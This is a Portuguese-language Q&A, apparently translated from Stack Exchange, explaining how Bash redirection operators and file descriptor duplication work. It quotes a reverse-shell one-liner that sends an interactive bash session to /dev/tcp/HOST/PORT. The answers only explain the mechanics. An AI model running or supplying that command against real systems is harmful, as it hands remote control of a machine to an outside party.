Compreendendo o redirecionamento de E / S no Bash

4

Eu estava pesquisando uma maneira de obter um shell reverso no bash, quando encontrei isto:

bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1

Pelo que entendi, stdout e stderr são enviados através da conexão ( /dev/tcp/HOST/PORT ), e stdin lê a conexão ( 0<&1 ). Mas, enquanto eu leio aqui , a expressão 0 > & 1 também funciona. Isso não faz sentido para mim (como eu aprendi, > é para 'escrever para o seguinte fd' e < para 'ler do seguinte fd') e só deve funcionar da primeira maneira.

Minha pergunta é: esqueci alguma coisa ou estou absolutamente errado? Quais são os processos internos envolvidos nesta amostra de redirecionamento de E / S?

    
por Le Ploit 08.10.2015 / 18:52

2 respostas

4

A única diferença entre as sintaxes <& e >& é que o primeiro verifica se o descritor de arquivo de destino está aberto para entrada e o segundo verifica se ele está aberto para saída. A operação real é a mesma em ambos os casos (provavelmente uma chamada dup2 ). Enquanto isso, > /dev/tcp/HOST/PORT não está fazendo open syscall, como a maioria dos redirecionamentos; a sintaxe /dev/tcp é um caso especial bash e, de fato, o bash está abrindo um soquete (que então se comporta como um descritor de arquivo normal w.r.t. as chamadas read e write ). Sockets não têm a propriedade que os arquivos abertos têm de ser abertos apenas para leitura ou gravação; um soquete permite ler e escrever (embora você possa shutdown(2) da metade disso, se quiser). Assim, o bash não faz erro de redirecionamento das duas sintaxes usadas, e como a chamada dup2 é a mesma, o comportamento é idêntico.

    
por 08.10.2015 / 19:30
3

Sim. < > significa as coisas que você diz quando se aplicam a um open() . Mas você não faz isso quando está trabalhando com descritores de arquivos preexistentes - eles já são open() 'd. Portanto, não importa qual desses tokens você usa, porque o shell não irá alterar as características de leitura / gravação de um descritor de arquivo que ele já possui - ele só irá para dup() it.

Então ...

{ read v <&4; } 4>/dev/null
read: read error: 0: Bad file descriptor

Mas ...

{ read v 0>&4; } 4</dev/null

... não reclama nada.

Em ambos os exemplos acima, os descritores de arquivo são duplicados com sucesso. O shell não reclama do duping fd porque isso funciona muito bem. Aqui está basicamente a mesma coisa que a que se queixou antes:

{ echo hi there; read v; } 0>/dev/null
hi there
read: read error: 0: Bad file descriptor

É read reclamando porque quando tenta ler do descritor de arquivo zero ele recebe EBADF. O shell é tão bem-sucedido ao copiar &4 para stdin no primeiro exemplo, já que é bem sucedido em fazer o open() somente de gravação no stdin no segundo.

Na verdade, em um contexto de fd dup, os tokens < e > não são completamente insignificantes, porque <&[num] e >&[num] ainda são abreviados para 0<&[num] e 1>&[num] , claro.

    
por 08.10.2015 / 19:29